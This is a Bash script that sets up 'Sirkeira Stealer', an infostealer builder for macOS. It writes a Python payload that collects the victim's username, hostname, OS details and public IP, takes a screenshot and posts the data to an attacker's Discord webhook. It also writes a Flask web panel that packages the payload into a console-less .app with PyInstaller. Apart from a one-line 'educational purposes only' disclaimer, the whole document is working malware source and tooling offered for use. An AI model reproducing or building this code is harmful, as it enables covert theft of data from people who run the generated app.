224 lines
6.8 KiB
Bash
Executable File
224 lines
6.8 KiB
Bash
Executable File
#!/bin/bash
|
|
# =============================================
|
|
# Sirkeira Stealer - macOS One-Click Setup
|
|
# Local Builder with Flask Web Panel
|
|
# =============================================
|
|
|
|
echo "🚀 Setting up Sirkeira Stealer Builder for macOS..."
|
|
|
|
# Create project directory
|
|
mkdir -p sirkeira_builder/templates
|
|
cd sirkeira_builder
|
|
|
|
# 1. requirements.txt
|
|
cat > requirements.txt << 'REQ'
|
|
flask
|
|
pyinstaller
|
|
psutil
|
|
browser-cookie3
|
|
cryptography
|
|
pillow
|
|
requests
|
|
opencv-python
|
|
numpy
|
|
REQ
|
|
|
|
# 2. stealer_core.py (macOS compatible version)
|
|
cat > stealer_core.py << 'CORE'
|
|
import os
|
|
import sys
|
|
import json
|
|
import random
|
|
import shutil
|
|
import socket
|
|
import getpass
|
|
import platform
|
|
import subprocess
|
|
import time
|
|
from pathlib import Path
|
|
import requests
|
|
import psutil
|
|
from PIL import ImageGrab
|
|
import cv2
|
|
|
|
class Paths:
|
|
def __init__(self):
|
|
self.temp = Path("/tmp")
|
|
self.userprofile = Path.home()
|
|
self.appdata = Path.home() / "Library" / "Application Support"
|
|
|
|
class Config:
|
|
def __init__(self, webhook_url: str, malware_name: str = "Sirkeira Stealer", version: str = "1.6.0"):
|
|
self.webhook_url = webhook_url
|
|
self.malware_name = malware_name
|
|
self.version = version
|
|
self.zip_name = f"SK_{random.randint(10000000000, 99999999999)}.zip"
|
|
|
|
def get_system_info():
|
|
info = {
|
|
"username": getpass.getuser(),
|
|
"hostname": socket.gethostname(),
|
|
"os": platform.platform(),
|
|
"python": sys.version,
|
|
"ip": requests.get('https://api.ipify.org').text if requests else "N/A"
|
|
}
|
|
return info
|
|
|
|
def send_to_webhook(config, data):
|
|
try:
|
|
payload = {"content": f"**{config.malware_name} v{config.version}**\n```json\n{json.dumps(data, indent=2)}\n```"}
|
|
requests.post(config.webhook_url, json=payload)
|
|
except:
|
|
pass
|
|
|
|
def run_stealer(config: Config):
|
|
print(f"[+] {config.malware_name} v{config.version} started on macOS")
|
|
|
|
data = {
|
|
"system": get_system_info(),
|
|
"note": "macOS version - limited stealing capabilities (no Discord tokens, no Windows-specific decryption)"
|
|
}
|
|
|
|
send_to_webhook(config, data)
|
|
print("[+] Data sent to webhook")
|
|
|
|
# Optional: take screenshot
|
|
try:
|
|
screenshot = ImageGrab.grab()
|
|
screenshot.save("/tmp/screenshot.png")
|
|
# You can add file upload logic here if needed
|
|
except:
|
|
pass
|
|
|
|
if __name__ == "__main__":
|
|
# This file is imported, not run directly
|
|
pass
|
|
CORE
|
|
|
|
# 3. builder.py (Local Web Panel)
|
|
cat > builder.py << 'BUILDER'
|
|
from flask import Flask, render_template, request, send_file, jsonify
|
|
import subprocess
|
|
import os
|
|
import shutil
|
|
import tempfile
|
|
from pathlib import Path
|
|
|
|
app = Flask(__name__)
|
|
|
|
TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS
|
|
import sys
|
|
import os
|
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
|
from stealer_core import Config, run_stealer
|
|
|
|
if __name__ == "__main__":
|
|
config = Config(
|
|
webhook_url="{webhook_url}",
|
|
malware_name="{malware_name}",
|
|
version="{version}"
|
|
)
|
|
run_stealer(config)
|
|
"""
|
|
|
|
@app.route("/", methods=["GET", "POST"])
|
|
def index():
|
|
if request.method == "POST":
|
|
webhook = request.form.get("webhook", "").strip()
|
|
name = request.form.get("name", "Sirkeira Stealer").strip()
|
|
version = request.form.get("version", "1.6.0").strip()
|
|
|
|
if not webhook.startswith("https://discord.com/api/webhooks/"):
|
|
return jsonify({"error": "Invalid Discord webhook URL"}), 400
|
|
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
build_dir = Path(tmpdir)
|
|
stealer_file = build_dir / "stealer.py"
|
|
core_file = build_dir / "stealer_core.py"
|
|
|
|
shutil.copy("stealer_core.py", core_file)
|
|
|
|
stealer_file.write_text(
|
|
TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version)
|
|
)
|
|
|
|
exe_name = f"{name.replace(' ', '_')}_v{version}"
|
|
cmd = [
|
|
"pyinstaller",
|
|
"--onefile",
|
|
"--noconsole",
|
|
"--clean",
|
|
"--name", exe_name,
|
|
"--distpath", str(build_dir / "dist"),
|
|
"--target-arch", "universal2", # Works on Intel + Apple Silicon
|
|
str(stealer_file)
|
|
]
|
|
|
|
try:
|
|
subprocess.check_call(cmd, cwd=tmpdir)
|
|
exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}"
|
|
if not exe_path.exists():
|
|
exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback
|
|
|
|
if exe_path.exists():
|
|
return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name)
|
|
else:
|
|
return jsonify({"error": "Build failed - no output found"}), 500
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
return render_template("index.html")
|
|
|
|
if __name__ == "__main__":
|
|
print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000")
|
|
print("Note: On macOS, the output will be a .app bundle")
|
|
app.run(host="127.0.0.1", port=5000, debug=False)
|
|
BUILDER
|
|
|
|
# 4. Simple HTML Panel
|
|
cat > templates/index.html << 'HTML'
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Sirkeira Builder - macOS</title>
|
|
<style>
|
|
body {font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4;}
|
|
h1 {color: #333;}
|
|
form {background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1);}
|
|
input, button {padding: 12px; margin: 10px 0; width: 100%; box-sizing: border-box;}
|
|
button {background: #0066ff; color: white; border: none; cursor: pointer; font-size: 16px;}
|
|
button:hover {background: #0055dd;}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<h1>🛠️ Sirkeira Stealer Builder (macOS)</h1>
|
|
<form method="post">
|
|
<label>Discord Webhook URL:</label><br>
|
|
<input type="text" name="webhook" required placeholder="https://discord.com/api/webhooks/..."><br><br>
|
|
|
|
<label>Malware Name:</label><br>
|
|
<input type="text" name="name" value="Sirkeira Stealer"><br><br>
|
|
|
|
<label>Version:</label><br>
|
|
<input type="text" name="version" value="1.6.0"><br><br>
|
|
|
|
<button type="submit">Build macOS Executable (.app)</button>
|
|
</form>
|
|
<p><strong>⚠️ Warning:</strong> This is for educational/research purposes only on your own machines.</p>
|
|
</body>
|
|
</html>
|
|
HTML
|
|
|
|
# Install dependencies
|
|
echo "📦 Installing required packages..."
|
|
pip3 install -r requirements.txt
|
|
|
|
echo ""
|
|
echo "✅ Setup complete!"
|
|
echo ""
|
|
echo "To start the builder:"
|
|
echo " cd sirkeira_builder"
|
|
echo " python3 builder.py"
|
|
echo ""
|
|
echo "Then open http://127.0.0.1:5000 in your browser."
|